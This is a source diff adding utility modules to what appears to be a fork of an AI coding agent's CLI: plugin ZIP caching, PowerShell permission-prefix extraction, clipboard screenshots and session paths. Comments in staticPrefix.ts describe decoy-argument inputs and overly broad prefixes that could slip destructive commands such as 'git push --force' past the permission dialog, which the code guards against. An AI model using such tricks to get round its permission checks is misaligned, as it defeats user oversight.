+  updateSettingsForSource(settingSource, {
+    ...settings,
+    enabledPlugins: updatedEnabledPlugins,
+  })
+
+  return { installed, failed }
+}
diff --git a/cc-haha/src/utils/plugins/zipCache.ts b/cc-haha/src/utils/plugins/zipCache.ts
new file mode 100644
index 0000000..7be6082
--- /dev/null
+++ b/cc-haha/src/utils/plugins/zipCache.ts
@@ -0,0 +1,406 @@
+/**
+ * Plugin Zip Cache Module
+ *
+ * Manages plugins as ZIP archives in a mounted directory (e.g., Filestore).
+ * When CLAUDE_CODE_PLUGIN_USE_ZIP_CACHE is enabled and CLAUDE_CODE_PLUGIN_CACHE_DIR
+ * is set, plugins are stored as ZIPs in that directory and extracted to a
+ * session-local temp directory at startup.
+ *
+ * Limitations:
+ * - Only headless mode is supported
+ * - All settings sources are used (same as normal plugin flow)
+ * - Only github, git, and url marketplace sources are supported
+ * - Only strict:true marketplace entries are supported
+ * - Auto-update is non-blocking (background, does not affect current session)
+ *
+ * Directory structure of the zip cache:
+ * /mnt/plugins-cache/
+ *   ├── known_marketplaces.json
+ *   ├── installed_plugins.json
+ *   ├── marketplaces/
+ *   │   ├── official-marketplace.json
+ *   │   └── company-marketplace.json
+ *   └── plugins/
+ *       ├── official-marketplace/
+ *       │   └── plugin-a/
+ *       │       └── 1.0.0.zip
+ *       └── company-marketplace/
+ *           └── plugin-b/
+ *               └── 2.1.3.zip
+ */
+
+import { randomBytes } from 'crypto'
+import {
+  chmod,
+  lstat,
+  readdir,
+  readFile,
+  rename,
+  rm,
+  stat,
+  writeFile,
+} from 'fs/promises'
+import { tmpdir } from 'os'
+import { basename, dirname, join } from 'path'
+import { logForDebugging } from '../debug.js'
+import { parseZipModes, unzipFile } from '../dxt/zip.js'
+import { isEnvTruthy } from '../envUtils.js'
+import { getFsImplementation } from '../fsOperations.js'
+import { expandTilde } from '../permissions/pathValidation.js'
+import type { MarketplaceSource } from './schemas.js'
+
+/**
+ * Check if the plugin zip cache mode is enabled.
+ */
+export function isPluginZipCacheEnabled(): boolean {
+  return isEnvTruthy(process.env.CLAUDE_CODE_PLUGIN_USE_ZIP_CACHE)
+}
+
+/**
+ * Get the path to the zip cache directory.
+ * Requires CLAUDE_CODE_PLUGIN_CACHE_DIR to be set.
+ * Returns undefined if zip cache is not enabled.
+ */
+export function getPluginZipCachePath(): string | undefined {
+  if (!isPluginZipCacheEnabled()) {
+    return undefined
+  }
+  const dir = process.env.CLAUDE_CODE_PLUGIN_CACHE_DIR
+  return dir ? expandTilde(dir) : undefined
+}
+
+/**
+ * Get the path to known_marketplaces.json in the zip cache.
+ */
+export function getZipCacheKnownMarketplacesPath(): string {
+  const cachePath = getPluginZipCachePath()
+  if (!cachePath) {
+    throw new Error('Plugin zip cache is not enabled')
+  }
+  return join(cachePath, 'known_marketplaces.json')
+}
+
+/**
+ * Get the path to installed_plugins.json in the zip cache.
+ */
+export function getZipCacheInstalledPluginsPath(): string {
+  const cachePath = getPluginZipCachePath()
+  if (!cachePath) {
+    throw new Error('Plugin zip cache is not enabled')
+  }
+  return join(cachePath, 'installed_plugins.json')
+}
+
+/**
+ * Get the marketplaces directory within the zip cache.
+ */
+export function getZipCacheMarketplacesDir(): string {
+  const cachePath = getPluginZipCachePath()
+  if (!cachePath) {
+    throw new Error('Plugin zip cache is not enabled')
+  }
+  return join(cachePath, 'marketplaces')
+}
+
+/**
+ * Get the plugins directory within the zip cache.
+ */
+export function getZipCachePluginsDir(): string {
+  const cachePath = getPluginZipCachePath()
+  if (!cachePath) {
+    throw new Error('Plugin zip cache is not enabled')
+  }
+  return join(cachePath, 'plugins')
+}
+
+// Session plugin cache: a temp directory on local disk (NOT in the mounted zip cache)
+// that holds extracted plugins for the duration of the session.
+let sessionPluginCachePath: string | null = null
+let sessionPluginCachePromise: Promise<string> | null = null
+
+/**
+ * Get or create the session plugin cache directory.
+ * This is a temp directory on local disk where plugins are extracted for the session.
+ */
+export async function getSessionPluginCachePath(): Promise<string> {
+  if (sessionPluginCachePath) {
+    return sessionPluginCachePath
+  }
+  if (!sessionPluginCachePromise) {
+    sessionPluginCachePromise = (async () => {
+      const suffix = randomBytes(8).toString('hex')
+      const dir = join(tmpdir(), `claude-plugin-session-${suffix}`)
+      await getFsImplementation().mkdir(dir)
+      sessionPluginCachePath = dir
+      logForDebugging(`Created session plugin cache at ${dir}`)
+      return dir
+    })()
+  }
+  return sessionPluginCachePromise
+}
+
+/**
+ * Clean up the session plugin cache directory.
+ * Should be called when the session ends.
+ */
+export async function cleanupSessionPluginCache(): Promise<void> {
+  if (!sessionPluginCachePath) {
+    return
+  }
+  try {
+    await rm(sessionPluginCachePath, { recursive: true, force: true })
+    logForDebugging(
+      `Cleaned up session plugin cache at ${sessionPluginCachePath}`,
+    )
+  } catch (error) {
+    logForDebugging(`Failed to clean up session plugin cache: ${error}`)
+  } finally {
+    sessionPluginCachePath = null
+    sessionPluginCachePromise = null
+  }
+}
+
+/**
+ * Reset the session plugin cache path (for testing).
+ */
+export function resetSessionPluginCache(): void {
+  sessionPluginCachePath = null
+  sessionPluginCachePromise = null
+}
+
+/**
+ * Write data to a file in the zip cache atomically.
+ * Writes to a temp file in the same directory, then renames.
+ */
+export async function atomicWriteToZipCache(
+  targetPath: string,
+  data: string | Uint8Array,
+): Promise<void> {
+  const dir = dirname(targetPath)
+  await getFsImplementation().mkdir(dir)
+
+  const tmpName = `.${basename(targetPath)}.tmp.${randomBytes(4).toString('hex')}`
+  const tmpPath = join(dir, tmpName)
+
+  try {
+    if (typeof data === 'string') {
+      await writeFile(tmpPath, data, { encoding: 'utf-8' })
+    } else {
+      await writeFile(tmpPath, data)
+    }
+    await rename(tmpPath, targetPath)
+  } catch (error) {
+    // Clean up tmp file on failure
+    try {
+      await rm(tmpPath, { force: true })
+    } catch {
+      // ignore cleanup errors
+    }
+    throw error
+  }
+}
+
+// fflate's ZippableFile tuple form: [data, opts]. Using the tuple lets us
+// store {os, attrs} so parseZipModes can recover exec bits on extraction.
+type ZipEntry = [Uint8Array, { os: number; attrs: number }]
+
+/**
+ * Create a ZIP archive from a directory.
+ * Resolves symlinks to actual file contents (replaces symlinks with real data).
+ * Stores Unix mode bits in external_attr so extractZipToDirectory can restore
+ * +x — otherwise the round-trip (git clone → zip → extract) loses exec bits.
+ *
+ * @param sourceDir - Directory to zip
+ * @returns ZIP file as Uint8Array
+ */
+export async function createZipFromDirectory(
+  sourceDir: string,
+): Promise<Uint8Array> {
+  const files: Record<string, ZipEntry> = {}
+  const visited = new Set<string>()
+  await collectFilesForZip(sourceDir, '', files, visited)
+
+  const { zipSync } = await import('fflate')
+  const zipData = zipSync(files, { level: 6 })
+  logForDebugging(
+    `Created ZIP from ${sourceDir}: ${Object.keys(files).length} files, ${zipData.length} bytes`,
+  )
+  return zipData
+}
+
+/**
+ * Recursively collect files from a directory for zipping.
+ * Uses lstat to detect symlinks and tracks visited inodes for cycle detection.
+ */
+async function collectFilesForZip(
+  baseDir: string,
+  relativePath: string,
+  files: Record<string, ZipEntry>,
+  visited: Set<string>,
+): Promise<void> {
+  const currentDir = relativePath ? join(baseDir, relativePath) : baseDir
+  let entries: string[]
+  try {
+    entries = await readdir(currentDir)
+  } catch {
+    return
+  }
+
+  // Track visited directories by dev+ino to detect symlink cycles.
+  // bigint: true is required — on Windows NTFS, the file index packs a 16-bit
+  // sequence number into the high bits. Once that sequence exceeds ~32 (very
+  // common on a busy CI runner that churns through temp files), the value
+  // exceeds Number.MAX_SAFE_INTEGER and two adjacent directories round to the
+  // same JS number, causing subdirs to be silently skipped as "cycles". This
+  // broke the round-trip test on Windows CI when sharding shuffled which tests
+  // ran first and pushed MFT sequence numbers over the precision cliff.
+  // See also: markdownConfigLoader.ts getFileIdentity, anthropics/claude-code#13893
+  try {
+    const dirStat = await stat(currentDir, { bigint: true })
+    // ReFS (Dev Drive), NFS, some FUSE mounts report dev=0 and ino=0 for
+    // everything. Fail open: skip cycle detection rather than skip the
+    // directory. We already skip symlinked directories unconditionally below,
+    // so the only cycle left here is a bind mount, which we accept.
+    if (dirStat.dev !== 0n || dirStat.ino !== 0n) {
+      const key = `${dirStat.dev}:${dirStat.ino}`
+      if (visited.has(key)) {
+        logForDebugging(`Skipping symlink cycle at ${currentDir}`)
+        return
+      }
+      visited.add(key)
+    }
+  } catch {
+    return
+  }
+
+  for (const entry of entries) {
+    // Skip hidden files that are git-related
+    if (entry === '.git') {
+      continue
+    }
+
+    const fullPath = join(currentDir, entry)
+    const relPath = relativePath ? `${relativePath}/${entry}` : entry
+
+    let fileStat
+    try {
+      fileStat = await lstat(fullPath)
+    } catch {
+      continue
+    }
+
+    // Skip symlinked directories (follow symlinked files)
+    if (fileStat.isSymbolicLink()) {
+      try {
+        const targetStat = await stat(fullPath)
+        if (targetStat.isDirectory()) {
+          continue
+        }
+        // Symlinked file — read its contents below
+        fileStat = targetStat
+      } catch {
+        continue // broken symlink
+      }
+    }
+
+    if (fileStat.isDirectory()) {
+      await collectFilesForZip(baseDir, relPath, files, visited)
+    } else if (fileStat.isFile()) {
+      try {
+        const content = await readFile(fullPath)
+        // os=3 (Unix) + st_mode in high 16 bits of external_attr — this is
+        // what parseZipModes reads back on extraction. fileStat is already
+        // in hand from the lstat/stat above, so no extra syscall.
+        files[relPath] = [
+          new Uint8Array(content),
+          { os: 3, attrs: (fileStat.mode & 0xffff) << 16 },
+        ]
+      } catch (error) {
+        logForDebugging(`Failed to read file for zip: ${relPath}: ${error}`)
+      }
+    }
+  }
+}
+
+/**
+ * Extract a ZIP file to a target directory.
+ *
+ * @param zipPath - Path to the ZIP file
+ * @param targetDir - Directory to extract into
+ */
+export async function extractZipToDirectory(
+  zipPath: string,
+  targetDir: string,
+): Promise<void> {
+  const zipBuf = await getFsImplementation().readFileBytes(zipPath)
+  const files = await unzipFile(zipBuf)
+  // fflate doesn't surface external_attr — parse the central directory so
+  // exec bits survive extraction (hooks/scripts need +x to run via `sh -c`).
+  const modes = parseZipModes(zipBuf)
+
+  await getFsImplementation().mkdir(targetDir)
+
+  for (const [relPath, data] of Object.entries(files)) {
+    // Skip directory entries (trailing slash)
+    if (relPath.endsWith('/')) {
+      await getFsImplementation().mkdir(join(targetDir, relPath))
+      continue
+    }
+
+    const fullPath = join(targetDir, relPath)
+    await getFsImplementation().mkdir(dirname(fullPath))
+    await writeFile(fullPath, data)
+    const mode = modes[relPath]
+    if (mode && mode & 0o111) {
+      // Swallow EPERM/ENOTSUP (NFS root_squash, some FUSE mounts) — losing +x
+      // is the pre-PR behavior and better than aborting mid-extraction.
+      await chmod(fullPath, mode & 0o777).catch(() => {})
+    }
+  }
+
+  logForDebugging(
+    `Extracted ZIP to ${targetDir}: ${Object.keys(files).length} entries`,
+  )
+}
+
+/**
+ * Convert a plugin directory to a ZIP in-place: zip → atomic write → delete dir.
+ * Both call sites (cacheAndRegisterPlugin, copyPluginToVersionedCache) need the
+ * same sequence; getting it wrong (non-atomic write, forgetting rm) corrupts cache.
+ */
+export async function convertDirectoryToZipInPlace(
+  dirPath: string,
+  zipPath: string,
+): Promise<void> {
+  const zipData = await createZipFromDirectory(dirPath)
+  await atomicWriteToZipCache(zipPath, zipData)
+  await rm(dirPath, { recursive: true, force: true })
+}
+
+/**
+ * Get the relative path for a marketplace JSON file within the zip cache.
+ * Format: marketplaces/{marketplace-name}.json
+ */
+export function getMarketplaceJsonRelativePath(
+  marketplaceName: string,
+): string {
+  const sanitized = marketplaceName.replace(/[^a-zA-Z0-9\-_]/g, '-')
+  return join('marketplaces', `${sanitized}.json`)
+}
+
+/**
+ * Check if a marketplace source type is supported by zip cache mode.
+ *
+ * Supported sources write to `join(cacheDir, name)` — syncMarketplacesToZipCache
+ * reads marketplace.json from that installLocation, source-type-agnostic.
+ * - github/git/url: clone to temp, rename into cacheDir
+ * - settings: write synthetic marketplace.json directly to cacheDir (no fetch)
+ *
+ * Excluded: file/directory (installLocation is the user's path OUTSIDE cacheDir —
+ * nonsensical in ephemeral containers), npm (node_modules bloat on Filestore mount).
+ */
+export function isMarketplaceSourceSupportedByZipCache(
+  source: MarketplaceSource,
+): boolean {
+  return ['github', 'git', 'url', 'settings'].includes(source.source)
+}
diff --git a/cc-haha/src/utils/powershell/staticPrefix.ts b/cc-haha/src/utils/powershell/staticPrefix.ts
new file mode 100644
index 0000000..68f1366
--- /dev/null
+++ b/cc-haha/src/utils/powershell/staticPrefix.ts
@@ -0,0 +1,316 @@
+/**
+ * PowerShell static command prefix extraction.
+ *
+ * Mirrors bash's getCommandPrefixStatic / getCompoundCommandPrefixesStatic
+ * (src/utils/bash/prefix.ts) but uses the PowerShell AST parser instead of
+ * tree-sitter. The AST gives us cmd.name and cmd.args already split; for
+ * external commands we feed those into the same fig-spec walker bash uses
+ * (src/utils/shell/specPrefix.ts) — git/npm/kubectl CLIs are shell-agnostic.
+ *
+ * Feeds the "Yes, and don't ask again for: ___" editable input in the
+ * permission dialog — static extractor provides a best-guess prefix, user
+ * edits it down if needed.
+ */
+
+import { getCommandSpec } from '../bash/registry.js'
+import { buildPrefix, DEPTH_RULES } from '../shell/specPrefix.js'
+import { countCharInString } from '../stringUtils.js'
+import { NEVER_SUGGEST } from './dangerousCmdlets.js'
+import {
+  getAllCommands,
+  type ParsedCommandElement,
+  parsePowerShellCommand,
+} from './parser.js'
+
+/**
+ * Extract a static prefix from a single parsed command element.
+ * Returns null for commands we won't suggest (shells, eval cmdlets, path-like
+ * invocations) or can't extract a meaningful prefix from.
+ */
+async function extractPrefixFromElement(
+  cmd: ParsedCommandElement,
+): Promise<string | null> {
+  // nameType === 'application' means the raw name had path chars (./x, x\y,
+  // x.exe) — PowerShell will run a file, not a named cmdlet. Don't suggest.
+  // Same reasoning as the permission engine's nameType gate (PR #20096).
+  if (cmd.nameType === 'application') {
+    return null
+  }
+
+  const name = cmd.name
+  if (!name) {
+    return null
+  }
+
+  if (NEVER_SUGGEST.has(name.toLowerCase())) {
+    return null
+  }
+
+  // Cmdlets (Verb-Noun): the name alone is the right prefix granularity.
+  // Get-Process -Name pwsh → Get-Process. There's no subcommand concept.
+  if (cmd.nameType === 'cmdlet') {
+    return name
+  }
+
+  // External command. Guard the argv before feeding it to buildPrefix.
+  //
+  // elementTypes[0] (command name) must be a literal. `& $cmd status` has
+  // elementTypes[0]='Variable', name='$cmd' — classifies as 'unknown' (no path
+  // chars), passes NEVER_SUGGEST, getCommandSpec('$cmd')=null → returns bare
+  // '$cmd' → dead rule. Cheap to gate here.
+  //
+  // elementTypes[1..] (args) must all be StringConstant or Parameter. Anything
+  // dynamic (Variable/SubExpression/ScriptBlock/ExpandableString) would embed
+  // `$foo`/`$(...)` in the prefix → dead rule.
+  if (cmd.elementTypes?.[0] !== 'StringConstant') {
+    return null
+  }
+  for (let i = 0; i < cmd.args.length; i++) {
+    const t = cmd.elementTypes[i + 1]
+    if (t !== 'StringConstant' && t !== 'Parameter') {
+      return null
+    }
+  }
+
+  // Consult the fig spec — same oracle bash uses. If git's spec says -C takes
+  // a value, buildPrefix skips -C /repo and finds `status` as a subcommand.
+  // Lowercase for lookup: fig specs are filesystem paths (git.js), case-
+  // sensitive on Linux. PowerShell is case-insensitive (Git === git) so `Git`
+  // must resolve to the git spec. macOS hides this bug (case-insensitive fs).
+  // Call buildPrefix unconditionally — calculateDepth consults DEPTH_RULES
+  // before its own `if (!spec) return 2` fallback, so gcloud/aws/kubectl/az
+  // get depth-aware prefixes even without a loaded spec. The old
+  // `if (!spec) return name` short-circuit produced bare `gcloud:*` which
+  // auto-allows every gcloud subcommand.
+  const nameLower = name.toLowerCase()
+  const spec = await getCommandSpec(nameLower)
+  const prefix = await buildPrefix(name, cmd.args, spec)
+
+  // Post-buildPrefix word integrity: buildPrefix space-joins consumed args
+  // into the prefix string. parser.ts:685 stores .value (quote-stripped) for
+  // single-quoted literals: git 'push origin' → args=['push origin']. If
+  // that arg is consumed, buildPrefix emits 'git push origin' — silently
+  // promoting 1 argv element to 3 prefix words. Rule PowerShell(git push
+  // origin:*) then matches `git push origin --force` (3-element argv) — not
+  // what the user approved.
+  //
+  // The old set-membership check (`!cmd.args.includes(word)`) was defeated
+  // by decoy args: `git 'push origin' push origin` → args=['push origin',
+  // 'push', 'origin'], prefix='git push origin'. Each word ∈ args (decoys at
+  // indices 1,2 satisfy .includes()) → passed. Now POSITIONAL: walk args in
+  // order; each prefix word must exactly match the next non-flag arg. A
+  // positional that doesn't match means buildPrefix split it. Flags and
+  // their values are skipped (buildPrefix skips them too) so
+  // `git -C '/my repo' status` and `git commit -m 'fix typo'` still pass.
+  // Backslash (C:\repo) rejected: dead over-specific rule.
+  let argIdx = 0
+  for (const word of prefix.split(' ').slice(1)) {
+    if (word.includes('\\')) return null
+    while (argIdx < cmd.args.length) {
+      const a = cmd.args[argIdx]!
+      if (a === word) break
+      if (a.startsWith('-')) {
+        argIdx++
+        // Only skip the flag's value if the spec says this flag takes a
+        // value argument. Without spec info, treat as a switch (no value)
+        // — fail-safe avoids over-skipping positional args. (bug #16)
+        if (
+          spec?.options &&
+          argIdx < cmd.args.length &&
+          cmd.args[argIdx] !== word &&
+          !cmd.args[argIdx]!.startsWith('-')
+        ) {
+          const flagLower = a.toLowerCase()
+          const opt = spec.options.find(o =>
+            Array.isArray(o.name)
+              ? o.name.includes(flagLower)
+              : o.name === flagLower,
+          )
+          if (opt?.args) {
+            argIdx++
+          }
+        }
+        continue
+      }
+      // Positional arg that isn't the expected word → arg was split.
+      return null
+    }
+    if (argIdx >= cmd.args.length) return null
+    argIdx++
+  }
+
+  // Bare-root guard: buildPrefix returns 'git' for `git` with no subcommand
+  // found (empty args, or only global flags). That's too broad — would
+  // auto-allow `git push --force` forever. Bash's extractor doesn't gate this
+  // (bash/prefix.ts:363, separate fix). Reject single-word results for
+  // commands whose spec declares subcommands OR that have DEPTH_RULES entries
+  // (gcloud, aws, kubectl, etc.) which implies subcommand structure even
+  // without a loaded spec. (bug #17)
+  if (
+    !prefix.includes(' ') &&
+    (spec?.subcommands?.length || DEPTH_RULES[nameLower])
+  ) {
+    return null
+  }
+  return prefix
+}
+
+/**
+ * Extract a prefix suggestion for a PowerShell command.
+ *
+ * Parses the command, takes the first CommandAst, returns a prefix suitable
+ * for the permission dialog's "don't ask again for: ___" editable input.
+ * Returns null when no safe prefix can be extracted (parse failure, shell
+ * invocation, path-like name, bare subcommand-aware command).
+ */
+export async function getCommandPrefixStatic(
+  command: string,
+): Promise<{ commandPrefix: string | null } | null> {
+  const parsed = await parsePowerShellCommand(command)
+  if (!parsed.valid) {
+    return null
+  }
+
+  // Find the first actual command (CommandAst). getAllCommands iterates
+  // both statement.commands and statement.nestedCommands (for &&/||/if/for).
+  // Skip synthetic CommandExpressionAst entries (expression pipeline sources,
+  // non-PipelineAst statement placeholders).
+  const firstCommand = getAllCommands(parsed).find(
+    cmd => cmd.elementType === 'CommandAst',
+  )
+  if (!firstCommand) {
+    return { commandPrefix: null }
+  }
+
+  return { commandPrefix: await extractPrefixFromElement(firstCommand) }
+}
+
+/**
+ * Extract prefixes for all subcommands in a compound PowerShell command.
+ *
+ * For `Get-Process; git status && npm test`, returns per-subcommand prefixes.
+ * Subcommands for which `excludeSubcommand` returns true (e.g. already
+ * read-only/auto-allowed) are skipped — no point suggesting a rule for them.
+ * Prefixes sharing a root are collapsed via word-aligned LCP:
+ * `npm run test && npm run lint` → `npm run`.
+ *
+ * The filter receives the ParsedCommandElement (not cmd.text) because
+ * PowerShell's read-only check (isAllowlistedCommand) needs the element's
+ * structured fields (nameType, args). Passing text would require reparsing,
+ * which spawns pwsh.exe per subcommand — expensive and wasteful since we
+ * already have the parsed elements here. Bash's equivalent passes text
+ * because BashTool.isReadOnly works from regex/patterns, not parsed AST.
+ */
+export async function getCompoundCommandPrefixesStatic(
+  command: string,
+  excludeSubcommand?: (element: ParsedCommandElement) => boolean,
+): Promise<string[]> {
+  const parsed = await parsePowerShellCommand(command)
+  if (!parsed.valid) {
+    return []
+  }
+
+  const commands = getAllCommands(parsed).filter(
+    cmd => cmd.elementType === 'CommandAst',
+  )
+
+  // Single command — no compound collapse needed.
+  if (commands.length <= 1) {
+    const prefix = commands[0]
+      ? await extractPrefixFromElement(commands[0])
+      : null
+    return prefix ? [prefix] : []
+  }
+
+  const prefixes: string[] = []
+  for (const cmd of commands) {
+    if (excludeSubcommand?.(cmd)) {
+      continue
+    }
+    const prefix = await extractPrefixFromElement(cmd)
+    if (prefix) {
+      prefixes.push(prefix)
+    }
+  }
+
+  if (prefixes.length === 0) {
+    return []
+  }
+
+  // Group by root command (first word) and collapse each group via
+  // word-aligned longest common prefix. `npm run test` + `npm run lint`
+  // → `npm run`. But NEVER collapse down to a bare subcommand-aware root:
+  // `git add` + `git commit` would LCP to `git`, which extractPrefixFromElement
+  // explicitly refuses as too broad (line ~119). Collapsing through that gate
+  // would suggest PowerShell(git:*) → auto-allows git push --force forever.
+  // When LCP yields a bare subcommand-aware root, drop the group entirely
+  // rather than suggest either the too-broad root or N un-collapsed rules.
+  //
+  // Bash's getCompoundCommandPrefixesStatic has this same collapse without
+  // the guard (src/utils/bash/prefix.ts:360-365) — that's a separate fix.
+  //
+  // Grouping and word-comparison are case-insensitive (PowerShell is
+  // case-insensitive: Git === git, Get-Process === get-process). The Map key
+  // is lowercased; the emitted prefix keeps the first-seen casing.
+  const groups = new Map<string, string[]>()
+  for (const prefix of prefixes) {
+    const root = prefix.split(' ')[0]!
+    const key = root.toLowerCase()
+    const group = groups.get(key)
+    if (group) {
+      group.push(prefix)
+    } else {
+      groups.set(key, [prefix])
+    }
+  }
+
+  const collapsed: string[] = []
+  for (const [rootLower, group] of groups) {
+    const lcp = wordAlignedLCP(group)
+    const lcpWordCount = lcp === '' ? 0 : countCharInString(lcp, ' ') + 1
+    if (lcpWordCount <= 1) {
+      // LCP collapsed to a single word. If that root's fig spec declares
+      // subcommands, this is the same too-broad case extractPrefixFromElement
+      // rejects (bare `git` → allows `git push --force`). Drop the group.
+      // getCommandSpec is LRU-memoized; one lookup per distinct root.
+      const rootSpec = await getCommandSpec(rootLower)
+      if (rootSpec?.subcommands?.length || DEPTH_RULES[rootLower]) {
+        continue
+      }
+    }
+    collapsed.push(lcp)
+  }
+  return collapsed
+}
+
+/**
+ * Word-aligned longest common prefix. Doesn't chop mid-word.
+ * Case-insensitive comparison (PowerShell: Git === git), emits first
+ * string's casing.
+ * ["npm run test", "npm run lint"] → "npm run"
+ * ["Git status", "git log"] → "Git" (first-seen casing)
+ * ["Get-Process"] → "Get-Process"
+ */
+function wordAlignedLCP(strings: string[]): string {
+  if (strings.length === 0) return ''
+  if (strings.length === 1) return strings[0]!
+
+  const firstWords = strings[0]!.split(' ')
+  let commonWordCount = firstWords.length
+
+  for (let i = 1; i < strings.length; i++) {
+    const words = strings[i]!.split(' ')
+    let matchCount = 0
+    while (
+      matchCount < commonWordCount &&
+      matchCount < words.length &&
+      words[matchCount]!.toLowerCase() === firstWords[matchCount]!.toLowerCase()
+    ) {
+      matchCount++
+    }
+    commonWordCount = matchCount
+    if (commonWordCount === 0) break
+  }
+
+  return firstWords.slice(0, commonWordCount).join(' ')
+}
diff --git a/cc-haha/src/utils/promptCategory.ts b/cc-haha/src/utils/promptCategory.ts
new file mode 100644
index 0000000..2a1dea5
--- /dev/null
+++ b/cc-haha/src/utils/promptCategory.ts
@@ -0,0 +1,49 @@
+import type { QuerySource } from 'src/constants/querySource.js'
+import {
+  DEFAULT_OUTPUT_STYLE_NAME,
+  OUTPUT_STYLE_CONFIG,
+} from '../constants/outputStyles.js'
+import { getSettings_DEPRECATED } from './settings/settings.js'
+
+/**
+ * Determines the prompt category for agent usage.
+ * Used for analytics to track different agent patterns.
+ *
+ * @param agentType - The type/name of the agent
+ * @param isBuiltInAgent - Whether this is a built-in agent or custom
+ * @returns The agent prompt category string
+ */
+export function getQuerySourceForAgent(
+  agentType: string | undefined,
+  isBuiltInAgent: boolean,
+): QuerySource {
+  if (isBuiltInAgent) {
+    // TODO: avoid this cast
+    return agentType
+      ? (`agent:builtin:${agentType}` as QuerySource)
+      : 'agent:default'
+  } else {
+    return 'agent:custom'
+  }
+}
+
+/**
+ * Determines the prompt category based on output style settings.
+ * Used for analytics to track different output style usage.
+ *
+ * @returns The prompt category string or undefined for default
+ */
+export function getQuerySourceForREPL(): QuerySource {
+  const settings = getSettings_DEPRECATED()
+  const style = settings?.outputStyle ?? DEFAULT_OUTPUT_STYLE_NAME
+
+  if (style === DEFAULT_OUTPUT_STYLE_NAME) {
+    return 'repl_main_thread'
+  }
+
+  // All styles in OUTPUT_STYLE_CONFIG are built-in
+  const isBuiltIn = style in OUTPUT_STYLE_CONFIG
+  return isBuiltIn
+    ? (`repl_main_thread:outputStyle:${style}` as QuerySource)
+    : 'repl_main_thread:outputStyle:custom'
+}
diff --git a/cc-haha/src/utils/screenshotClipboard.ts b/cc-haha/src/utils/screenshotClipboard.ts
new file mode 100644
index 0000000..6c20b44
--- /dev/null
+++ b/cc-haha/src/utils/screenshotClipboard.ts
@@ -0,0 +1,121 @@
+import { mkdir, unlink, writeFile } from 'fs/promises'
+import { tmpdir } from 'os'
+import { join } from 'path'
+import { type AnsiToPngOptions, ansiToPng } from './ansiToPng.js'
+import { execFileNoThrowWithCwd } from './execFileNoThrow.js'
+import { logError } from './log.js'
+import { getPlatform } from './platform.js'
+
+/**
+ * Copies an image (from ANSI text) to the system clipboard.
+ * Supports macOS, Linux (with xclip/xsel), and Windows.
+ *
+ * Pure-TS pipeline: ANSI text → bitmap-font render → PNG encode. No WASM,
+ * no system fonts, so this works in every build (native and JS).
+ */
+export async function copyAnsiToClipboard(
+  ansiText: string,
+  options?: AnsiToPngOptions,
+): Promise<{ success: boolean; message: string }> {
+  try {
+    const tempDir = join(tmpdir(), 'claude-code-screenshots')
+    await mkdir(tempDir, { recursive: true })
+
+    const pngPath = join(tempDir, `screenshot-${Date.now()}.png`)
+    const pngBuffer = ansiToPng(ansiText, options)
+    await writeFile(pngPath, pngBuffer)
+
+    const result = await copyPngToClipboard(pngPath)
+
+    try {
+      await unlink(pngPath)
+    } catch {
+      // Ignore cleanup errors
+    }
+
+    return result
+  } catch (error) {
+    logError(error)
+    return {
+      success: false,
+      message: `Failed to copy screenshot: ${error instanceof Error ? error.message : 'Unknown error'}`,
+    }
+  }
+}
+
+async function copyPngToClipboard(
+  pngPath: string,
+): Promise<{ success: boolean; message: string }> {
+  const platform = getPlatform()
+
+  if (platform === 'macos') {
+    // macOS: Use osascript to copy PNG to clipboard
+    // Escape backslashes and double quotes for AppleScript string
+    const escapedPath = pngPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
+    const script = `set the clipboard to (read (POSIX file "${escapedPath}") as «class PNGf»)`
+    const result = await execFileNoThrowWithCwd('osascript', ['-e', script], {
+      timeout: 5000,
+    })
+
+    if (result.code === 0) {
+      return { success: true, message: 'Screenshot copied to clipboard' }
+    }
+    return {
+      success: false,
+      message: `Failed to copy to clipboard: ${result.stderr}`,
+    }
+  }
+
+  if (platform === 'linux') {
+    // Linux: Try xclip first, then xsel
+    const xclipResult = await execFileNoThrowWithCwd(
+      'xclip',
+      ['-selection', 'clipboard', '-t', 'image/png', '-i', pngPath],
+      { timeout: 5000 },
+    )
+
+    if (xclipResult.code === 0) {
+      return { success: true, message: 'Screenshot copied to clipboard' }
+    }
+
+    // Try xsel as fallback
+    const xselResult = await execFileNoThrowWithCwd(
+      'xsel',
+      ['--clipboard', '--input', '--type', 'image/png'],
+      { timeout: 5000 },
+    )
+
+    if (xselResult.code === 0) {
+      return { success: true, message: 'Screenshot copied to clipboard' }
+    }
+
+    return {
+      success: false,
+      message:
+        'Failed to copy to clipboard. Please install xclip or xsel: sudo apt install xclip',
+    }
+  }
+
+  if (platform === 'windows') {
+    // Windows: Use PowerShell to copy image to clipboard
+    const psScript = `Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Clipboard]::SetImage([System.Drawing.Image]::FromFile('${pngPath.replace(/'/g, "''")}'))`
+    const result = await execFileNoThrowWithCwd(
+      'powershell',
+      ['-NoProfile', '-Command', psScript],
+      { timeout: 5000 },
+    )
+
+    if (result.code === 0) {
+      return { success: true, message: 'Screenshot copied to clipboard' }
+    }
+    return {
+      success: false,
+      message: `Failed to copy to clipboard: ${result.stderr}`,
+    }
+  }
+
+  return {
+    success: false,
+    message: `Screenshot to clipboard is not supported on ${platform}`,
+  }
+}
diff --git a/cc-haha/src/utils/sessionEnvironment.ts b/cc-haha/src/utils/sessionEnvironment.ts
new file mode 100644
index 0000000..1e4a408
--- /dev/null
+++ b/cc-haha/src/utils/sessionEnvironment.ts
@@ -0,0 +1,166 @@
+import { mkdir, readdir, readFile, writeFile } from 'fs/promises'
+import { join } from 'path'
+import { getSessionId } from '../bootstrap/state.js'
+import { logForDebugging } from './debug.js'
+import { getClaudeConfigHomeDir } from './envUtils.js'
+import { errorMessage, getErrnoCode } from './errors.js'
+import { getPlatform } from './platform.js'
+
+// Cache states:
+// undefined = not yet loaded (need to check disk)
+// null = checked disk, no files exist (don't check again)
+// string = loaded and cached (use cached value)
+let sessionEnvScript: string | null | undefined = undefined
+
+export async function getSessionEnvDirPath(): Promise<string> {
+  const sessionEnvDir = join(
+    getClaudeConfigHomeDir(),
+    'session-env',
+    getSessionId(),
+  )
+  await mkdir(sessionEnvDir, { recursive: true })
+  return sessionEnvDir
+}
+
+export async function getHookEnvFilePath(
+  hookEvent: 'Setup' | 'SessionStart' | 'CwdChanged' | 'FileChanged',
+  hookIndex: number,
+): Promise<string> {
+  const prefix = hookEvent.toLowerCase()
+  return join(await getSessionEnvDirPath(), `${prefix}-hook-${hookIndex}.sh`)
+}
+
